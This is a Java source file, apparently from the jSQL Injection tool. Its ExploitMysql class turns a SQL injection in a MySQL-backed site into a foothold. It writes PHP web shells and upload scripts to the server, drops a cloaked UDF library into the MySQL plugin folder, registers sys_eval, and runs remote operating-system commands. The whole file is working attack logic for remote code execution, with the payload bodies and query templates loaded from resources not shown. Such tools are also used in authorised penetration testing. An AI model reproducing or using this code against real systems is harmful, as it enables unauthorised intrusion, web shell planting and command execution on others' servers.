1 package com.jsql.model.accessible.vendor;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ExploitMode;
6 import com.jsql.model.accessible.ResourceAccess;
7 import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
8 import com.jsql.model.bean.database.MockElement;
9 import com.jsql.model.bean.util.Interaction;
10 import com.jsql.model.bean.util.Request;
11 import com.jsql.model.exception.JSqlException;
12 import com.jsql.model.exception.JSqlRuntimeException;
13 import com.jsql.model.injection.vendor.model.VendorYaml;
14 import com.jsql.model.suspendable.SuspendableGetRows;
15 import com.jsql.util.LogLevelUtil;
16 import com.jsql.util.StringUtil;
17 import org.apache.commons.codec.binary.Hex;
18 import org.apache.commons.lang3.RandomStringUtils;
19 import org.apache.commons.lang3.StringUtils;
20 import org.apache.logging.log4j.LogManager;
21 import org.apache.logging.log4j.Logger;
22 import org.yaml.snakeyaml.Yaml;
23
24 import java.io.File;
25 import java.io.FileInputStream;
26 import java.io.IOException;
27 import java.io.InputStream;
28 import java.net.URI;
29 import java.net.URISyntaxException;
30 import java.net.http.HttpResponse;
31 import java.nio.charset.StandardCharsets;
32 import java.nio.file.Files;
33 import java.nio.file.Path;
34 import java.nio.file.Paths;
35 import java.nio.file.StandardCopyOption;
36 import java.util.List;
37 import java.util.Objects;
38 import java.util.UUID;
39 import java.util.function.BiPredicate;
40 import java.util.function.BinaryOperator;
41
42 public class ExploitMysql {
43
44
45
46
47 private static final Logger LOGGER = LogManager.getRootLogger();
48 public static final String NAME_TABLE = "temp";
49 private final InjectionModel injectionModel;
50 private final ModelYamlMysql modelYaml;
51
52 private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
53 try {
54 return this.buildSysEval(nameLibraryRandom);
55 } catch (JSqlException e) {
56 throw new JSqlRuntimeException(e);
57 }
58 };
59
60 public ExploitMysql(InjectionModel injectionModel) {
61 this.injectionModel = injectionModel;
62 var yaml = new Yaml();
63 this.modelYaml = yaml.loadAs(
64 injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
65 ModelYamlMysql.class
66 );
67 }
68
69 public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
70 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
71
72 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
73 var request = new Request();
74 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
75 request.setParameters(urlSuccess);
76 this.injectionModel.sendToViews(request);
77 return urlSuccess;
78 };
79 return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
80 }
81
82 public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
83 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
84 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
85 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
86 var request = new Request();
87 request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
88 request.setParameters(urlSuccess, username, password);
89 this.injectionModel.sendToViews(request);
90 return urlSuccess;
91 }
92 return StringUtils.EMPTY;
93 };
94 var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
95 if (StringUtils.isEmpty(urlSuccess)) {
96 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
97 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
98 }
99 if (StringUtils.isEmpty(urlSuccess)) {
100 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
101 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
102 }
103 if (StringUtils.isEmpty(urlSuccess)) {
104 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
105 }
106 return urlSuccess;
107 }
108
109 public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
110 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
111 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
112 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
113 if (result.body().contains(DataAccess.LEAD +"y")) {
114 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
115 } else {
116 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
117 }
118 } catch (InterruptedException e) {
119 LOGGER.log(LogLevelUtil.IGNORE, e, e);
120 Thread.currentThread().interrupt();
121 } catch (IOException | JSqlException e) {
122 throw new JSqlRuntimeException(e);
123 }
124 return urlSuccess;
125 };
126 this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
127 }
128
129
130
131
132
133 public String create(
134 String pathRemoteFolder,
135 String urlExploit,
136 String keyPropertyExploit,
137 String nameExploit,
138 BinaryOperator<String> biFuncGetRequest,
139 String pathNetshareFolder,
140 ExploitMode exploitMode
141 ) throws JSqlException {
142 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
143 return null;
144 }
145
146 String bodyExploit = StringUtil.base64Decode(
147 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
148 )
149 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
150 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
151
152
153 BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
154 try {
155 String resultInjection = this.confirm(pathFolder + nameFile);
156 return resultInjection.contains(bodyExploit);
157 } catch (JSqlException e) {
158 throw new JSqlRuntimeException(e);
159 }
160 };
161
162 var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
163 String nameExploitValidated = StringUtils.EMPTY;
164
165 if (exploitMode == ExploitMode.NETSHARE) {
166 ExploitMysql.copyToShare(pathNetshareFolder + nameExploit, bodyExploit);
167 nameExploitValidated = this.byNetshare(
168 nbIndexesFound,
169 pathNetshareFolder,
170 nameExploit,
171 pathRemoteFolder,
172 biPredConfirm
173 );
174 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
175 nameExploitValidated = this.byQueryBody(
176 nbIndexesFound,
177 pathRemoteFolder,
178 nameExploit,
179 StringUtil.toHexChunks(bodyExploit.getBytes()),
180 biPredConfirm
181 );
182 }
183 if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
184 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
185 this.byTable(
186 StringUtil.toHexChunks(bodyExploit.getBytes()),
187 pathRemoteFolder + nameExploitRandom
188 );
189 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
190 nameExploitValidated = nameExploitRandom;
191 }
192 }
193
194 if (StringUtils.isEmpty(nameExploitValidated)) {
195 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
196 return null;
197 }
198 nameExploit = nameExploitValidated;
199 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
200
201 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
202 }
203
204 public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
205 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
206
207 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
208 return;
209 }
210
211 var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
212 var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
213 if (StringUtils.isEmpty(pathPlugin)) {
214 throw new JSqlException("Incorrect plugin folder: path is empty");
215 }
216
217 String nameLibrary = this.getNameLibrary();
218
219 pathPlugin = pathPlugin.replace("\\", "/");
220 if (!pathPlugin.endsWith("/")) {
221 pathPlugin = String.format("%s%s", pathPlugin, "/");
222 }
223
224 if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
225 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
226 }
227 String isSuccess = StringUtils.EMPTY;
228 if (exploitMode == ExploitMode.NETSHARE) {
229 if (!pathNetshareFolder.endsWith("\\")) {
230 pathNetshareFolder += "\\";
231 }
232 ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
233 isSuccess = this.byNetshare(
234 nbIndexesFound,
235 pathNetshareFolder,
236 nameLibrary,
237 pathPlugin,
238 this.biPredCreateUdf
239 );
240 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
241 if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
242 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size too limited for UDF with GET, in case of failure use POST instead");
243 }
244 isSuccess = this.byQueryBody(
245 nbIndexesFound,
246 pathPlugin,
247 nameLibrary,
248 ExploitMysql.toHexChunks(nameLibrary),
249 this.biPredCreateUdf
250 );
251 }
252 if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
253 var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
254 this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
255 this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
256 }
257 }
258
259 private String getNameLibrary() throws JSqlException {
260 var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
261 if (StringUtils.isEmpty(versionOsMachine)) {
262 throw new JSqlException("Incorrect remote machine: unknown system");
263 }
264 var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
265 String nameLibrary;
266 if (versionOsMachine.contains("64")) {
267 nameLibrary = isWin ? "64.dll" : "64.so";
268 } else {
269 nameLibrary = isWin ? "32.dll" : "32.so";
270 }
271 return nameLibrary;
272 }
273
274 public String byQueryBody(
275 int nbIndexesFound,
276 String pathRemoteFolder,
277 String nameExploit,
278 List<String> hexChunks,
279 BiPredicate<String,String> biPredConfirm
280 ) {
281 String nameExploitValidated = StringUtils.EMPTY;
282 var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
283
284 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
285 this.injectionModel.injectWithoutIndex(String.format(pattern,
286 "union",
287 "'',".repeat(nbIndexesFound),
288 String.join(StringUtils.EMPTY, hexChunks),
289 pathRemoteFolder + nameExploitRandom
290 ), "body#union-dump");
291 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
292 nameExploitValidated = nameExploitRandom;
293 }
294 if (StringUtils.isEmpty(nameExploitValidated)) {
295 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
296 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
297 this.injectionModel.injectWithoutIndex(String.format(pattern,
298 ";",
299 StringUtils.EMPTY,
300 String.join(StringUtils.EMPTY, hexChunks),
301 pathRemoteFolder + nameExploitRandom
302 ), "body#stack-dump");
303 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
304 nameExploitValidated = nameExploitRandom;
305 }
306 }
307 return nameExploitValidated;
308 }
309
310 public String byNetshare(
311 int nbIndexesFound,
312 String pathNetshareFolder,
313 String nameExploit,
314 String pathRemoteFolder,
315 BiPredicate<String,String> biPredConfirm
316 ) {
317 String nameExploitValidated = StringUtils.EMPTY;
318 var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
319 var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
320
321 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
322 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
323 this.injectionModel.injectWithoutIndex(String.format(pattern,
324 "union",
325 "'',".repeat(nbIndexesFound),
326 pathShareEncoded + nameExploit,
327 pathRemoteFolder + nameExploitRandom
328 ), "netshare#union");
329 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
330 nameExploitValidated = nameExploitRandom;
331 }
332 if (StringUtils.isEmpty(nameExploitValidated)) {
333 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
334 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
335 this.injectionModel.injectWithoutIndex(String.format(pattern,
336 ";",
337 StringUtils.EMPTY,
338 pathShareEncoded + nameExploit,
339 pathRemoteFolder + nameExploitRandom
340 ), "netshare#stack");
341 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
342 nameExploitValidated = nameExploitRandom;
343 }
344 }
345 return nameExploitValidated;
346 }
347
348 private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
349 try {
350 URI original = Objects.requireNonNull(ExploitMysql.class.getClassLoader().getResource("exploit/mysql/" + nameLibrary)).toURI();
351 Path originalPath = new File(original).toPath();
352 Path copied = Paths.get(pathNetshare + nameLibrary);
353 Files.copy(originalPath, copied, StandardCopyOption.REPLACE_EXISTING);
354 } catch (IOException | URISyntaxException e) {
355 throw new JSqlException("Copy udf into local network share failure: " + e.getMessage());
356 }
357 }
358
359 public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
360 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
361 var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
362 if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
363 nameDatabase = "mysql";
364 }
365 var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);
366 var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
367 this.injectionModel.injectWithoutIndex(String.format(
368 this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
369 nameSchemaTable
370 ), ResourceAccess.TBL_DROP);
371 var countResult = this.getCountTable(nameDatabase, nameTableRandom);
372 if (!"0".equals(countResult)) {
373 throw new JSqlException("Drop table failure: "+ countResult);
374 }
375 this.injectionModel.injectWithoutIndex(String.format(
376 this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
377 nameSchemaTable
378 ), ResourceAccess.TBL_CREATE);
379 countResult = this.getCountTable(nameDatabase, nameTableRandom);
380 if (!"1".equals(countResult)) {
381 throw new JSqlException("Create table failure: "+ countResult);
382 }
383 int indexChunk = 0;
384 for (String chunk: bodyHexChunks) {
385 if (indexChunk == 0) {
386 this.injectionModel.injectWithoutIndex(String.format(
387 this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
388 nameSchemaTable,
389 chunk
390 ), "tbl#init");
391 } else {
392 this.injectionModel.injectWithoutIndex(String.format(
393 this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
394 nameSchemaTable,
395 chunk
396 ), ResourceAccess.TBL_FILL);
397 }
398 indexChunk++;
399 }
400 this.injectionModel.injectWithoutIndex(String.format(
401 this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
402 nameSchemaTable,
403 pathRemoteFile
404 ), ResourceAccess.TBL_DUMP);
405 }
406
407 private String getCountTable(String nameDatabase, String nameTableRandom) {
408 try {
409 return this.injectionModel.getResourceAccess().getResult(String.format(
410 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
411 nameTableRandom,
412 nameDatabase
413 ), "tbl#check");
414 } catch (JSqlException e) {
415 return e.getMessage();
416 }
417 }
418
419 private boolean buildSysEval(String nameLibrary) throws JSqlException {
420 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
421 this.injectionModel.injectWithoutIndex(String.format(
422 this.modelYaml.getUdf().getAddFunction().getCreate(),
423 nameLibrary
424 ), "udf#function");
425 var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
426 if (!confirm.contains("sys_eval")) {
427 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
428 return false;
429 }
430 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
431
432 var request = new Request();
433 request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_MYSQL);
434 request.setParameters(null, null);
435 this.injectionModel.sendToViews(request);
436 return true;
437 }
438
439 private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException {
440 Path path = Paths.get(pathFile);
441 try {
442 Files.write(path, bodyExploit.getBytes());
443 } catch (IOException e) {
444 throw new JSqlException(e);
445 }
446 }
447
448 public String confirm(String path) throws JSqlException {
449 var sourcePage = new String[]{ StringUtils.EMPTY };
450 return new SuspendableGetRows(this.injectionModel).run(
451 this.modelYaml.getFile().getRead().replace(
452 VendorYaml.FILEPATH_HEX,
453 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
454 ),
455 sourcePage,
456 false,
457 1,
458 MockElement.MOCK,
459 "xplt#confirm-file"
460 );
461 }
462
463 public String runRceCmd(String command, UUID uuidShell) {
464 String result;
465 try {
466 result = this.injectionModel.getResourceAccess().getResult(String.format(
467 this.modelYaml.getUdf().getRunCmd(),
468 command.replace(StringUtils.SPACE, "%20")
469 ), "udf#run-cmd") +"\n";
470 } catch (JSqlException e) {
471 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
472 }
473 var request = new Request();
474 request.setMessage(Interaction.GET_TERMINAL_RESULT);
475 request.setParameters(uuidShell, result);
476 this.injectionModel.sendToViews(request);
477 return result;
478 }
479
480 private static List<String> toHexChunks(String filename) throws JSqlException {
481 try {
482 byte[] fileData = Objects.requireNonNull(
483 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ filename +".cloak")
484 ).readAllBytes();
485 fileData = StringUtil.uncloak(fileData);
486 return StringUtil.toHexChunks(fileData);
487 } catch (IOException e) {
488 throw new JSqlException(e);
489 }
490 }
491
492 public ModelYamlMysql getModelYaml() {
493 return this.modelYaml;
494 }
495 }